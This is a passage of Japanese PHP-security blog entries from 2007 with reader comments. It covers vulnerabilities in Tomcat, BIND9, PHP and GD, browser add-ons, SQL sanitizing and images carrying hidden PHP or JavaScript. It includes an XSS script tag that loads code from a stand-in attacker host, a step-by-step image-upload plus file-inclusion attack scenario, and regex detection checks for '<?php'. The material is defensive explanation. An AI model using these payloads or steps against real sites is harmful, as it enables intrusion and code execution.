ちなみに日本のIT系は3Kらしく「きつい」「帰れない」「給料安い」とか言われてるようです。日本のIT技術者の平均収入はどれくらいなのでしょうね。
追記:
ということで調べてみました。2005年のデータではないかと思います。
http://ranking1.nobody.jp/salary2-gyoushu.html
システムコンサルタントは割と上位(?)なようですが、平均と言う意味ではアメリカ、イギリスに全く及びません...
以下のリンクを見れば違いは一目瞭然です。
http://www.chikawatanabe.com/blog/2006/03/post_4.html
日本の状況はIT Proの記事が非常に参考になります。
http://itpro.nikkeibp.co.jp/free/ITPro/OPINION/20040110/1/
日本の場合、かなり給料が下がってきていたのですね... 2004年から2006年にかけてどう変化しているのか気になったので調べてみると
http://doda.jp/guide/heikin/hei_003_01/index.html
となってます。
フィードバックはまだありません...
コメントを残す
Tomcat 3.3.0 - 3.3.2にクロスサイトスクリプティング脆弱性
IPAのドキュメントでは大規模開発にはJava, .NETをお勧めしているようですがTomcatのページにはこのような記載も。
Apache Tomcat 3.x and 4.x, we strongly encourage users to use the latest stable version of Apache Tomcat whenever possible. We recognize that upgrading across major version may not be a trivial task, and some support is still offered on the mailing list for users of old versions. However, because of the community-driven support approach, the older your version the less people would be interested or able to support you.
つまり3.x, 4.xユーザは早く6.xに乗り換えてねと言う事です。PHP4の状況と同じですね。
そして現行の3.3.xの最新版に未パッチ(私が見た情報には詳しい記述がなかったので詳細は分かりません。もうすぐパッチはリリースされるのかな?)のXSS脆弱性があるようです。IPA的にはJavaは良いけどTomcatは大規模開発には使うなと言う事なのかな?
MoPBの邦訳をしていたので「例えば大規模開発にPHPは使用しない」(IPAのページが見つけられなかったので正確な言い回しでは無いかもしれません)と言う表現に一役買っているとも言えますが、私としてはどうもドングリの背比べに見えるのですけどね...
機会がある毎に、言語やフレームワークでより安全なWebサイトが作りやすくはなっても、言語やフレームワークで安全性を保証できない、と言っています。「○○言語利用しているので安全です」とか「○○フレームワークを利用して構築しているので安全です」とは言えないことは明らかです。バージョンアップについても状況は違っても似たような状態だと思います。
フィードバックはまだありません...
コメントを残す
Canon iP7500:OSXからLPDでプリント
WindowsServer 2003にCanon iP7500が接続されLPDサーバのプリンタとして利用しています。LinuxからはiP7500用のSRPMをちょっと手直しして無理矢理ビルドしたドライバで普通に印刷できています。
# リンクしたがるライブラリが古すぎるので無理矢理新しいライブラリと
# リンクさせてますが私の使用方法だと困った事はないです。
さすがに印刷できないのは非常に困るので、OSX用のドライバをCanon iP7500のCanonのホームページ
http://cweb.canon.jp/drv-upd/bj/ip-series.html
をダウンロードしインストールしました。しかしCUPSのドライバ選択のドロップダウンに表示されません。調べる時間も無いのでサポートに電話してみました。ドライバのインストールはUSB接続しプリンタの電源を入れて行ってください、とのこと。USB接続ならプリンタが見え印刷できる状態になりました。
しかし、CUPS/gimp printの一覧にプリンタがでてきません。そこでもう一度サポートに電話をかけると折り返し詳しい方から電話してもらう事になりました。電話はすぐにかかってきたのですがUSB以外の印刷はサポートしていないとの回答でした。
印刷できないと困るのでサポートしてくれないならLinuxのPPDファイルとOSXのUSB接続用のPPDファイルを適当に合わせて印刷できる様にしようと試みました。しかし、フィルタがUSB専用(?)なのかエラーで印刷できません。ここでも調べる時間が無いので直ぐに諦めLinuxで昔使っていた方法で印刷しています。BJ7000のドライバ(Gimp PrintのBJ7000用のPPDファイル)を使ってDPIを600x600、色をグレイスケールに設定すると概ね普通に印刷できます...
PPDファイルだけなら時間をかければ自分で作れると思いますが、CanonさんGimp Print/CUPSどちらでも良いので普通に印刷できるPPDファイル/ドライバ作ってください... USB接続だけで印刷できれば良いって、このネットワーク時代にありでしょうか? 困っている人も多いと思うのですが...
# もしかしてサポートの方が知らない簡単な接続方法があるのかな?
ところでドライバパッケージの中身にはヘッドクリーニングやインクカートリッジの状態確認などが行えるユーティリティ(Canon IJ Printer Utility)が入っていました。実際に使えますがドライバのインストーラはアプリケーションとしてインストールしてくれないようです。欲しい方はドライバのパッケージファイルの中身を探すと見つかります。
2 コメント
http://gimp-print.sourceforge.net/MacOSX.php3
の最新を入れると CUPS でも出てくる場合もあるみたいですね.
私の場合は Pixus950i という少し古いプリンタを使ってますが,BJC-8200という別のプリンタを選択し,解像度などを CUPS 画面できちんと設定するととりあえず印刷は出来ました.6色インクなのに3色か4色印刷になっているとかあるような気がしますが...
やはりUSBが当たり前の状態なのですね...
USBのみという仕様に皆さん納得できているとは思えないのです...
同じCUPSでもLinuxのドライバ(これも結構適当で古過ぎですが)なら普通にCUPSで使えるので同じ様にしてほしいところです。
コメントを残す
Security Update 2007-007
リンク: http://docs.info.apple.com/article.html?artnum=306172
最近メイン環境をOSXに変えたのでMacをよく使っています。LinuxとOSXが半々くらいになっています。今までOSXのセキュリティアップデートを注意して見てこなかったのですが、このセキュリティアップデートを見ると「なんだかな...」と思ってしまいました。
bzip2 CVE-ID: CVE-2005-0758
gnuzip CVE-ID: CVE-2005-0758
この脆弱性はgunzip -Nで展開した場合の問題のようななのでそれほど危険ではないようです。しかし、2005年の脆弱性なのでこれはさすがに古すぎでは... 確かにアーカイバの脆弱性修正が忘れられている事例は多く見られます。アンチウィルス製品がLHA、GZIP, BZIP等の脆弱性が直っていなくて(それも古いもの)脆弱性としてレポートされているケースはかなり多いです。だれも気にしていなかったにしても長期間放置されすぎだと思います。
PHPもアップグレードされていました。確かにテストなどで時間が必要なのは分かります。特にPHPはアップグレードするのが非常に難しいのは分かりますが、このアップデートでやっと4.4.7になりました。PHP 4.4.4ってなぜ?と思っていました。自分でビルドして5.2を使っているので気にしていませんでしたが。Appleだけが遅いのではなく、確信犯でアップデートを出していないディストリビュータも多いですけど。
普通の人が普通に安全にコンピュータが使えるようになるのはまだまだ長い道のりが必要ですね。
# 普通の人(コンピュータに詳しくない人)はgunzip, bzip2は使わないか
フィードバックはまだありません...
コメントを残す
クライアントサイドでのXSS対策
リンク: http://barmagy.com/blogs/infinite_loop/archive/2007/07/20/498.aspx
詳しくはリンク先を見て頂くとして、XSSは
- クライアントサイドで発生する
- 通常JavaScriptで発生する
と言う点着目してスクリプトにサインを付けクライアント側でもXSSを検出しようと言う話です。フェイルセーフ対策としては有用だと思います。Flash, PDF, Javaなどのオブジェクトにもサインすればより良いと思います。サインさえ付けておけばあとは決まったJavaScriptコードを全てのページに追加するだけなのでそれほど難しい対策ではありません。
フィードバックはまだありません...
コメントを残す
PHP4からPHP5への移行について
リンク: http://gihyo.jp/serial/2007/php-security
PHP4のサポート終了がアナウンスされことに伴い、技術評論社の方からPHP4からPHP5への移行の記事を書く事になりました。毎週新しい記事が公開されます。下記のURLが最初の記事で8/2(予定)から順次続きが公開されます。
http://gihyo.jp/dev/feature/01/php-migration/0001?page=1
記事を書いてみて思ったのですが、自分にとってはPHP4とPHP5両方で動作するコードを書くのはそう難しくないのですが時々PHPでコードを書いている方、PHPの開発状態を把握していない方には結構難しいのではないかと思いました。今回の記事は「移行」にのみ焦点をあててPHP5の新機能はほとんど紹介しませんでしたがかなりボリュームになってしまいました。それでも十分とは言えないです。PHP5への移行をお考えのかたは8/2から上記URLを参考にして頂ければ幸いです。
ところで、隔週(の予定...で実際は月一回くらい...)でセキュリティ関係の記事も http://gihyo.jp/ にて連載しています。こちらもよろしくお願いします。
http://gihyo.jp/serial/2007/php-security
どの記事でもコメントなどございましたらメールで頂けると助かります。
フィードバックはまだありません...
コメントを残す
Sonyも仮想世界に参入
リンク: http://www.jp.playstation.com/movie/4m/pv/PSHome.asx
SecondLifeとか話題になっているのにSonyがPS3で参入しない手はない、と思っていたらPLAYSTATIOIN@Homeというサービスを予定しているのですね。ニュースになっていたのでしょうが知りませんでした。基本無料、一部有料というスタイルらしいです。タイトルをクリックすると紹介ムービーが見れます。PS3らしくかなり凝った3Dです。仮想世界は結構いろいろなところが参入/参入表明していますがハードを持っているSonyはなんだかんだいって強いかと思います。
アメリカで一番利用されているゲーム機はPS2とのニュースがありましが、システムソフトウェアのバージョンアップでPS2ゲームもフルスペックハイビジョン化(アップコンバート)できたり、さらに普通のDVDもフルスペックハイビジョン化、最新のシステムソフトウェアではCDを2倍、4倍でアップコンバートしたり、Cellの利点を生かした機能はいろいろ便利そうです。PS3ももう少しうれても良さそうなんですけどね。ハイビジョン対応のテレビの普及率の問題もあるのかな?
ドルビー(だったかな?もしかするとBOSEだったかも)がどんなソースでも5.1ch化する物を発表していましたが、何でも5.1ch化もあったら良いですね。(もしかしてもうある?)
# このニュースを見たときモノラルでも5.1ch化できるの?と疑問に
# 思ったのですがニュースには詳細は書いてありませんでした。
PS3は欲しいハードの一つなので年末商戦値下げで買っても良いくらいの値段になると良いですね。
# ゲームを全くしないので無駄遣いですが
1 コメント
(最近ではDVD/音楽CDのアプコンの性能の良さが一部で騒がれてます
コメントを残す
カラーレザープリンタの印刷物に埋め込まれたコード
リンク: http://www.technobahn.com/cgi-bin/news/read2?f=200707231006&page=2
コピーすると「COPY」と印刷されてしまう機能は有名です。
コピー機、PhotoShopの紙幣複製を防止する機能も知っていましたが
カラーレーザープリンターで印刷されたものには全てこのように肉眼では判別し難い黄色いピクセルをバーコード(大きさは8x15ピクセル)のように印字することによって、プリンターのメーカー名、機種名、シリアル番号、印刷された日時の4つの情報を合計15バイトの情報としてコード化して埋め込まれているという。
プリンタ、コピー機業界では常識なのかもしれませんが知りませんでした。
# どこかで聞いたことがあるような気もしますが覚えてませんでした。
このバーコード、日本国内で販売されているカラーレーザープリンターでも印刷物にブラックライト(紫外線ランプ)を当てて丹念に調べれば肉眼で確認することができるという。
ブラックライトを持っていないので確認できません...
この機能、全うな目的で印刷する人には何の問題もありませんが不正な目的で印刷しようとする人を思いとどまらせる為に役立つかも知れません。印刷ログを残しておけば時間とプリンタでユーザまで特定できます。すべてのプリンタ、コピー機に入れても良いと思いますがどうでしょう?似たようなセキュリティソリューションを購入する必要もなくなります。
この機能、やはりカラープリンタそれもカラーレーザープリンタ向きの機能だと思うので、問題は全てのプリンタをカラーレーザープリンタにするのは導入とランニングコストがかかり過ぎることくらいでしょうか?
白黒コピー機でコピーしてもこのコードは読めるのかどうか気になります。多分読めないとは思いますが。
フィードバックはまだありません...
コメントを残す
BIND9のDNSキャッシュ汚染
リンク: http://www.trusteer.com/docs/bind9dns.html
BIND9にDNSキャッシュ汚染の脆弱性だそうです。
The paper shows that BIND 9 DNS queries are predictable – i.e. that the source UDP port and DNS transaction ID can be effectively predicted. A predictability algorithm is described that, in optimal conditions, provides very few guesses for the "next" query (10 in the basic attack, and 1 in the advanced attack), thereby overcoming whatever protection offered by the transaction ID mechanism. This enables a much more effective DNS cache poisoning than the currently known attacks against BIND 9. The net effect is that pharming attacks are feasible against BIND 9 caching DNS servers, without the need to directly attack neither DNS servers nor clients (PCs). The results are applicable to all BIND 9 releases [1], when BIND (the named daemon) is in caching DNS server configuration.
まだ中身を見れていないのですが、最適な条件であれば基本的な攻撃で10回、高度な攻撃で1回で次のトランザクションIDを推測できる、としています。最適な条件がどれくらいあるのか?は読んでみないとわからないです。
All stable versions of BIND 9 to date (except the ones released simultaneously with this paper) are vulnerable, i.e. BIND 9 versions 9.4.0-9.4.1, 9.3.0-9.3.4, 9.2.0-9.2.8, 9.1.0-9.1.3 and 9.0.0-9.0.1.
とあるので、BIND9の最新版では問題は修正されているそうです。 http://www.isc.org/index.pl を見ると確かに今月リリースの9.xが紹介されています。
CVEはこれ
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2926
BIND8, BIND4には影響がないとされています。
フィードバックはまだありません...
コメントを残す
Flashをブロックして意外と使えると思った副作用
リンク: http://blog.ohgaki.net/index.php/yohgaki/2007/07/18/flasha_a_a_sa_a_mamfepia_ra_a_a
数日前のエントリで書いた通りFlashコンテンツが自動的に再生されるリスクを回避するために、明示的に指示しないとFlashコンテンツが再生されないFirefoxアドオンを利用しています。
Flashblock
https://addons.mozilla.org/ja/firefox/addon/433
私はサイト上の広告はほとんど気にしない方なので広告をブロックするような拡張は使っていませんが、Flashをブロックすると動きがある広告が表示されなくなりページが読みやすくなりました。気にはしていなかったのですが文章を読んでいる最中にすぐ横でアニメーション広告があると非常に邪魔です。
私の使い方では作者コメントに書いてあるようにクラッシュが頻繁に発生することも無いようです。セキュリティが気になる方には当然お勧めのアドオンですが、アニメーション広告が邪魔で仕方ない方にもお勧めだと思います。
# アニメーションGIFの広告もあるのでこちらは別途ブロックしないと
# ブロックできません。念のため。
1 コメント
画面がガチャガチャ動かなくなり、表示もパパパッとすばやく表示される気がします。
…FLASH OFFの快適さが気に入りましたので、IE7でもFLASH OFFをしています…IE7pro(http://www.ie7pro.com/)を使って。
(FIREFOXのアドオンと同じように見たいFLASHだけ適宜ONにできるので快適です)
コメントを残す
globで任意コード実行の脆弱性
リンク: http://www.frsirt.com/english/advisories/2007/2547
FirstにPHPのglobで任意コード実行の脆弱性、とあったのでCVSを見てみるとglob用のメモリ構造体を未初期化で使用しているコードが修正されていました。未初期化の構造体メモリを任意データで書き換える必要があるので、攻撃を行うには攻撃が可能となるメモリレイアウトを作る比較的特殊なコードが必要になると思われます。
任意コード実行の脆弱性として
Remotely Exploitable : Yes
Locally Exploitable : Yes
の割には
Rated as : Moderate Risk
となっています。これは攻撃可能なメモリレイアウト作成はあまり直感的ではないから、もしくはPoCレベルの通常では起こりえない状況用の攻撃コードのみ作成されているからだと思われます。
これはPHP5.2.3以下の脆弱性です。以下はHEADのパッチです。
http://cvs.php.net/viewvc.cgi/php-src/ext/standard/dir.c?r1=1.166&r2=1.167
見ての通り、1 linerパッチです。
PHP4のサポートが終了しますが「ディストリビュータのサポートは別途で長いから」とディストリビュータのサポートに期待している方も多いと思います。ディストリビュータがどの程度セキュリティパッチをサポートしてくれるのかちょうどよいベンチマークになると思います。
フィードバックはまだありません...
コメントを残す
Flashもブロック対象の時期か...
リンク: http://www.securiteam.com/securitynews/5XP0B1FM0W.html
Flash Player関連のセキュリティ問題は結構レポートされています。最近見つかった脆弱性もかなり危険です。デフォルトでFlashを実行するのはリスクが高いですがFlashがないとまともにナビゲーションできないサイトも多いのでインストールしない訳にもいきません。
Firefoxの場合ならFlashblockアドオンでFlashをブロックし、選択してから実行できるようになります。
Flashblock
https://addons.mozilla.org/ja/firefox/addon/433
Firefox coreのバグで頻繁にクラッシュする、とコメントにありますがとりあえず入れてみました。Firefoxでインストールする必須セキュリティ関係アドオンリストに加えるべきか試してみたいと思います。
他のセキュリティ関係アドオンでお勧め
NoScript- JavaScriptを実行しない
https://addons.mozilla.org/ja/firefox/addon/722
HttpOnly - IEの「JavaScriptにクッキーを読ませない機能」をFirefoxに追加
https://addons.mozilla.org/ja/firefox/addon/3629
この2つは安定していると思います。すべてのユーザにお勧めです。HttpOnlyはすべてのサイトでJavaScriptからクッキーが読めなくなるアドオンではありません。WebアプリがMS独自拡張のhttponly属性を追加してクッキーを設定した場合にのみJavaScriptからクッキーが読み出せなくなります。PHP5のsetcookie/setrawcookieにはhttponly属性を送信するオプションが追加されています。
6 コメント
Operaだと、「プラグインを有効にする」のチェックを外す、でしょうか。もちろんFlash以外のプラグインも無効化されます。
JavaScript/JavaのOn/Offは昔はUIがあったと思いますが、今Firefox2.0の設定画面を見るとなくなってますね。Javaを無効化するアドオンもあります。ブラウズしながら気軽にOn/Offできないと使い勝手がわるいのでJavaScript/Java/Flash/PDFなどは一つのアドオンでサイト単位で制御できると便利ですね。
例:
A.setcookie("withexpire",123,time()+60*60,"/",null,null,true);
B.setcookie("noexpire",123,null,"/",null,null,true);
httponly拡張は通常Javascriptから参照する場合は、暗号化され、hO_ という名前をクッキー名の先頭につけるようですが、
A. hO_withexpire
B. hO_noexpire
と書き換えられるところを
A. "hO_withexpire
となってしまうようです。Bは正常なので、httpリクエストで送信される場合は、noexpire に複合化して正常に送信されますが、Aはバグにより、そのままの名前で送信されてしまいます。
print_r($_COOKIE);
をみると
Array
(
["hO_withexpire] => 6337c4aa9abd92e1261353477911e150
[noexpire] => 123
)
となります。まだhttponly属性を採用しているサイトが少ないこともあり、あまり感じないのかもしれませんが、早く直るといいですね。firefox3ではデフォルトでサポートのようで早くリリースしてほしいものです。
最も安直な方法でのクッキー取得はできなくなったのでよい事には代わり在りません。詳しくは以下のURLが参考になります。
http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/
コメントを残す
PHPでQtアプリ
PHPでGTKアプリが作れるPHP-GTKは以前からありましたが、PHPでQtアプリが作れるPHP-Qt 0.1がリリースされています。
The PHP-Qt team is pleased to announce the immediate release of PHP-Qt Version 0.1!
It's been nearly a year since the release of version 0.0.3 and many, many things have changed, including the move to using the Smoke library.
A few of the changes from 0.0.3 to 0.1 are:* Unit tests based on phpunit
* Overriding of Qt methods in PHP classes
* Improved startup time
* Improved runtime speed
* improved inheritance
* CMake-based build system
* Support for references
* There is now a global tr() function
* Based on the Smoke library
* License: GPL (see note below)
フィードバックはまだありません...
コメントを残す
$intval * 1でサニタイズ...
たまたま見たPHPのコードでSQL文中の整数値を
$intval * 1
として整数型にするサニタイズがありました。この方法をお薦めするわけではありませんが、以前のエントリ
http://blog.ohgaki.net/index.php/yohgaki/2007/07/04/example_1428_a_best_practice_query
でsprintf()の%dを使う方法よりはましです。
$ php -r "echo '99999999999999' * 1;"
99999999999999
実行したマシンは32bitのLinuxシステムですが浮動小数点型に自動変換されるので2^31を越える値でも正しく表示されます。一方、PHPマニュアルの方法だと
$ php -r "printf('%d', '99999999999999' * 1);"
276447231
となってしまいます。最近のDBは大きなモノも珍しくないのでこの程度でオーバーフローするようでは安心できません。もっとも*1方式でもあと一桁増やすと
$ php -r "echo '999999999999999' * 1;"9' * 1);"
1E+15
と指数表記になるのでこれで十分とは言えません。しかし、マニュアルのベストプラクティスよりは良いです。printf系で処理するなら
$ php -r "printf('%1.0f', '99999999999999' * 1);"
99999999999999
これで十分なDBも多いとは思いますが、ダイナミックにSQL文を生成するのであれば文字列として渡してエスケープしてしまうと確実です。
2 コメント
もし利用するなら最後の最後がよいと思います。
特にお勧めの方法ではないのでできれば確実にエスケープ処理するのがよいですが、とにかくてっとり早く安全にしたい、と言う場合はHTMLでもSQLでも同様の処理で済むのがよいところだと思います。
PHPの場合、不動小数点のprecisionがphp.iniで設定できるのでその設定が意図通りかも確認しておいた方がよいと思います。デフォルトは12(php.ini-dist)または14(php.ini-recomended)なので環境によって動作が異なります。
# ブログエントリの方は知っててうろ覚えな記憶を確かめるのが
# 面倒だったので自分の環境だけでチェックしています(汗
php.ini-distが12になっているのは不動小数点の誤差を理解していないユーザからのバグレポートに飽きた(?)Zeevさんが14から12に変えたためだったと思います。
コメントを残す
VaioのHDD壊れる...
Windowsのメインマシンとして利用していたVaio Z1ですがHDDが壊れました...時間がないのでここ数日はZero3のメール(仕事のメールだけ)しか見てません。# メールを送っている方、済みません
なんとなくHDDへのアクセスの感じが変わったので、もしかして、と思い次のノートPCはMacBookに決めていたので新しくMacBookは買っていたのですがバックアップはプロファイルディレクトリだけだったので、最近の書いたサンプルコードが消えてなくなりました。結構がんばって書いたのに... subversionリポジトリ作成を後回しにしていた付けです。同じコードを書き直すのは疲れるんですよね...
壊れたのは数日前でやっとましな環境になった、と思ったらOSXとVistaの両方が使えるようにParallels DesktopをインストールしていたのですがParallelsを起動しているにも関わらず何故かWindowsのボリュームは共有ではなくボリュームとして見えていたので開いてみるとNTFSがボロボロに壊れてしまいました。ボリュームはリードオンリーなのかな?と思っていたらリードライトだったのですね... もしParallels Desktopが起動しているときにWindowsのボリュームが見えても決して開いてはいけないようです。(普通は隠れる)
文面から分かると思いますがまだあまりParallels Desktopは使っていませんが結構便利にできているのでXP/Vistaのライセンスが余っている人にはお薦めだと思います。試用版があるのでためし易いです。(私もまだ試用版)ただし、何もしてなくても50%CPU時間を消費(Vista Business)ので軽くはないです。いざと言うときはにbootcampで起動すれば良いので困らないと思います。
ところでParallels DesktopはbootcampにインストールしたWindowsを起動できるので既にWindowsをbootcampでインストールしている人なら追加ライセンスは要らないようです。(間違っていたら教えてください)共有を利用してWindowsからOSX、OSXからWindowsのファイルが扱えるようになっているのは便利です。直接OSXのファイルをWindowsアプリで開くことができるなどかなり便利です。
追記:プロファイルのデータをコピーしはじめたら1日以上かかるって....
1 コメント
最新版をダウンロードしてリリースノートをみるとVistaでUSBでバイスが有効になっていると30%のCPU 時間が使用される問題が解消された、となっていました。これでCPU時間問題は解決なのかな?
コメントを残す
PHP4のサポート終了は2008/8/8
リンク: http://www.php.net/
現状でもセキュリティフィックスの状態があまり良いとはいえないのでPHP5が利用できる場合は積極的にPHP5を利用すべきですが、2007/12/31まで通常メンテナンス、以後2008/8/8までセキュリティフィックスには対応ということです。
まだの方は早くPHP5に移行しましょう。
間違っても5.1系に移行しないようにしましょう... 5.1系は今現在もメンテナンスされていません... 5.2系のみメンテナンスされています。
1 コメント
1. ソースからPHPをビルドしている場合、迷わず5.2系を選択
2. ディストリビュータが配布するPHP5.2系より前のバージョン(PHP4.4, PHP5.1など)を使わなければならない場合、将来5.2系でも動作するようなコードを書く
どのバージョンでも動作するコードを書く事はそれほど難しくありません。PHP4でもXMLは扱えますがバグが多いので私はPHP5系でないと扱う気がしません... XMLの場合、使っているモジュールからして違うのでこのような場合はどの環境でも動作するコードを書くのは非常に面倒です。こういう場合はソースからビルドするか、自分でパッケージを作成して管理するのがよいと思います。
コメントを残す
Example 1428. A "Best Practice" query
リンク: http://jp.php.net/manual/en/function.mysql-real-escape-string.php
PHPのマニュアルページで「Example 1428. A "Best Practice" query」と題されたSQL文用の文字列エスケープ処理のサンプルコードがあるのですが、
$query = sprintf("INSERT INTO products (`name`, `description`, `user_id`) VALUES ('%s', '%s', %d)",
mysql_real_escape_string($product_name, $link),
mysql_real_escape_string($product_description, $link),
$_POST['user_id']);
mysql_query($query, $link);
この方法はよくないですね... $_POST['user_id']は符号付き32ビット整数だと仮定していて64ビット整数や任意精度整数の場合が考慮されていません。"Best Practice"とするなら整数型と思われるuser_idも文字列として処理し、エスケープしてからmysql_queryに渡すべきだと思います。
フィードバックはまだありません...
コメントを残す
GDにセキュリティホール
GDの開発は終わっている、と思っていたらphp.netでホストしてたんですね。PHPの独自拡張など色々追加されていたので自然な流れとは思います。
CVE-2007-3472、CVE-2007-3473、CVE-2007-3474、CVE-2007-3475、CVE-2007-3476、CVE-2007-347、CVE-2007-3478
とGDライブラリの脆弱性がレポートされています。
整数オーバーフロー等はずっと以前に指摘され、ずいぶん長い間ディストリビュータがパッチで対応していた問題と同一のような気がしますが、どうなんでしょ?
フィードバックはまだありません...
コメントを残す
直していなかったのか... mhtml
リンク: http://openmya.hacker.jp/hasegawa/security/ms07-034.txt
mhtmlの脆弱性は非常に古くから指摘されていたので、大方は直っていると思っていたのですが
http://openmya.hacker.jp/hasegawa/security/ms07-034.txt
によると直してなかったのですね。
これだけではないので、Webアプリを真面目に作っている人からすると真面目にやっているのが馬鹿らしくなります...
フィードバックはまだありません...
コメントを残す
携帯用ウィルスが流行しているとは聞いていましたが、12万台とは...
リンク: http://www.technobahn.com/cgi-bin/news/read2?f=200706251422
最近、画像がらみエントリが多いです。
この容疑者が開発したウィルスはBuletooth内蔵型の携帯電話で用いられているSymbian 社製の組み込み機器用OSに感染するというもの。アダルト画像ファイルなどを経由して他の携帯電話に感染。ウィルスに感染した携帯電話は12万台近くにも及んでいた。
作者が逮捕されたそうですが、どこから出所が判ったのか興味があります。
最近のエントリで画像のバリデーションにフォーマット変換を用いた方法を紹介しました。「自分のサイトだけ守れれば良いのでは?」とされる意見を頂いていたのですが、そうは言っていられない事例の一つだと思います。
参考:
http://blog.ohgaki.net/index.php/yohgaki/2007/06/24/c_ra_a_a_ia_ca_la_ljavascripta_e_na
http://blog.ohgaki.net/index.php/yohgaki/2007/06/24/c_ra_a_a_ia_ca_la_lphpa_sa_fa_a_a_a_effa
フィードバックはまだありません...
コメントを残す
画像ファイルにJavaScriptを隠す
前回のエントリでイメージファイルにスクリプトを埋め込んで攻撃する方法について記載しましたが、最近イメージファイルにスクリプトを埋め込む事例が話題になったためか ha.ckersにJavaScriptをイメージファイルに隠す方法が紹介されています。
http://ha.ckers.org/blog/20070623/hiding-js-in-valid-images/
<script src="http://cracked.example.com/cracked.gif">
などとXSS攻撃を拡張する手段に利用可能です。サンプルとしてFlickerにJavaScriptを埋め込んだイメージファイルがアップされています。
http://flickr.com/photos/matteocarli/589108973/
このイメージファイルは上手く細工しているので画像としても表示され、JavaScriptも実行できます。
Flickerは画像ファイルをそのままアップロードできるようですね。もしかしてGDの整数オーバーフロー脆弱性を攻撃する画像イメージなどもアップできる??
フィードバックはまだありません...
コメントを残す
画像ファイルにPHPコードを埋め込む攻撃は既知の問題
国内外のメディアで「画像ファイルに攻撃用のPHPコードが含まれていた」と比較的大きく取り上げられています。しかし、この攻撃手法は古くから知られていた方法です。条件は多少厳しくなりますがPerl, Ruby, Pythonでも同様の攻撃は考えられます。PHPの場合は言語仕様的に他の言語に比べ攻撃が容易です。
典型的な攻撃のシナリオは次の通りです。
1.アバダなどの画像ファイルをアップロードできるサイトを探す
2.ローカルファイルインクルードバグを探す
2.画像ファイルにサイトが利用している言語のコードを埋め込む
3.攻撃コードを含んだファイルを画像ファイルとしてアップロードする
4.ローカルファイルインクルードバグを利用して攻撃コードを実行する
PHPの場合、リモートインクルードバグを攻撃するための攻撃用コードをホストさせる為に不正な画像ファイルをアップロードするケースも考えられます。自分のサイトにファイルインクルードバグが無いからといって対策を怠ってはいけません。
よくあるバグはアップロードされたファイルの妥当性チェックです。以下は全て不十分な対策です。
- ファイルの拡張子をチェックする
- イメージ関数等を利用して画像の種類を判別する
- ファイルヘッダを確認する
- ファイル種別を判別するコマンドを利用する
よく見かけるコードは拡張子とイメージ関数などを利用してファイル種別を判別し、一致している場合に許可するコードになっています。
完全な対策単純な攻撃コードを除去する簡単な対策はこれらのチェックをした後、画像ファイルを別型式に変換し、元の形式に戻す方法です。例えば、GIFファイルのアップロードならGIF->PNG->GIFと変換すると攻撃コードは削除されます。(ライブラリが自動的に元のファイルに含まれたデータを変換後に再現させるような動作をしなければ普通は削除できます。削除と言うより変換エラーにより問題が検出でき、攻撃コードを含んだテキスト部分も除去できます。PHPの場合、変換後もColor Tableを利用してコードとして実行できる部分を作ることは可能です)
PHPのケースだけ考えるのであれば、正規表現関数で"<?php"を検索するのも有効です。(<script language="php"> 、ASP, ショートタグを有効にしている場合はこれらのタグも)ただし、正規表現には注意が必要です。(現実的にはあまり短いパターンだとデータ部分にもマッチする可能性が高いです。この部分は蛇足です。PHPのコードが含まれているかチェックする最も簡単な方法はtokenizerを使ってトークンを数える方法です。)
次のコードは完全にチェックできます。
mb_regex_encoding('ASCII');
if (mb_eregi('<\\?php', $image)) {
die('Attack detected');
}
mb_regex_encoding('ASCII');
if (mb_eregi('^.*<\\?php.*$', $image)) {
die('Attack detected');
}
if (preg_match('/<\\?php./i', $image)) {
die('Attack detected');
}
次のコードは不十分です。
if (preg_match('/^.*<\\?php.*$/i', $image)) {
die('Attack detected');
}
なぜ後者が不十分かは常識ですよね?
追記:コメントをいろいろ頂いてバージョンアップしています。皆さん、ありがとうございます。
?をエスケープし忘れていたので追加、行単位比較時のマッチ漏れ示そうと思っていたのが間違った正規表現だったので修正しました。ところで<?や<%がスクリプト開始タグとして利用できる場合はこれらもチェックしなければなりません。<script language="php">は何時でも使えるのでこれは常にチェックが必要です。
このエントリと関連しているエントリにPerlアプリのYaBB脆弱性に関するエントリを書いています。
http://blog.ohgaki.net/index.php/yohgaki/2007/06/21/perla_ca_a_o_yabb_a_sa_sa_fa_la_la_a_ia_
YaBBはアバダなども登録できるBBSアプリのようです。上記のエントリでもローカルファイルインクルードバグを利用した攻撃に脆弱である可能性が高いと指摘しています。
このエントリを書いた後にha.ckersでJavaScriptを画像ファイルに隠す方法が紹介されていることにも気が付きました。
http://blog.ohgaki.net/index.php/yohgaki/2007/06/24/c_ra_a_a_ia_ca_la_ljavascripta_e_na
画像ファイルに限らずスクリプトファイル以外へのスクリプトの埋め込む攻撃手法は随分前から知られている手法です。例えば通常のバイナリファイルなどは格好のターゲットになりえます。この様な攻撃から守る方法の一つにファイルを圧縮してしまう方法があります。圧縮するとそのままでは利用できないのでファイルをアップロード・ダウンロードできるようなサービスを提供する場合、サイトで再圧縮したファイルのみダウンロード可能にする、などの方法が考えられます。圧縮を2重にかけると2回解凍しなければなりません。この方法が利用者にとって不便であれば、画像と同じように解凍->圧縮する方法も考えられます。アーカイバに脆弱性が発見されることもしばしばあるのでサイトが攻撃されるリスクが増加することも知っておく必要があります。
14 コメント
どういう場合に不十分なんでしょうか? 以前、preg_matchでは改行以降は無視すると記事に書かれていましたが、それと関連した話でしょうか? しかし、少なくとも私の環境では、改行以降を無視する現象は再現しません(Stefan Esser氏が以前書いていたものは私も知っていますし、再現もします)。
>自分のサイトにファイルインクルードバグが無いからといって対策を怠ってはいけません。
Webサイトの開発者が守るべきは、基本的に自分のサイトだけだと思います。自分のサイトを守るだけならば、アップロードファイルの拡張子の制限や、Webサーバの設定だけでよいわけです(画像にJavaScriptコードを挿入される攻撃への対処は、別途必要ですが)。
もし他サイトのリモートインクルージョン欠陥にも責任を持たなければならないならば、全てのWebサイトでこの問題への対処が必要になります。全てというのは、PHP以外の言語を使用するサイトや、ファイルアップロード機能を持たないサイトも含みます。
他サイトについては「気になる人は対処したら?」というレベルの話じゃないでしょうか。
>変換の過程で攻撃コードは削除されます。
変換が「完全な対策」と言えるのでしょうか。変換によって、フォーマットが不正な画像は排除できるのでしょうが、変換後のファイルが攻撃コードを含まないことは、保証されないと思います。
私の環境の問題でなければ、mb_eregi() で完全にチェックできるとは言えないのではないでしょうか?
$image = "test\n\x81
mb_regex_encoding( "SJIS" );
if (mb_eregi('<\\?php', $image)) {
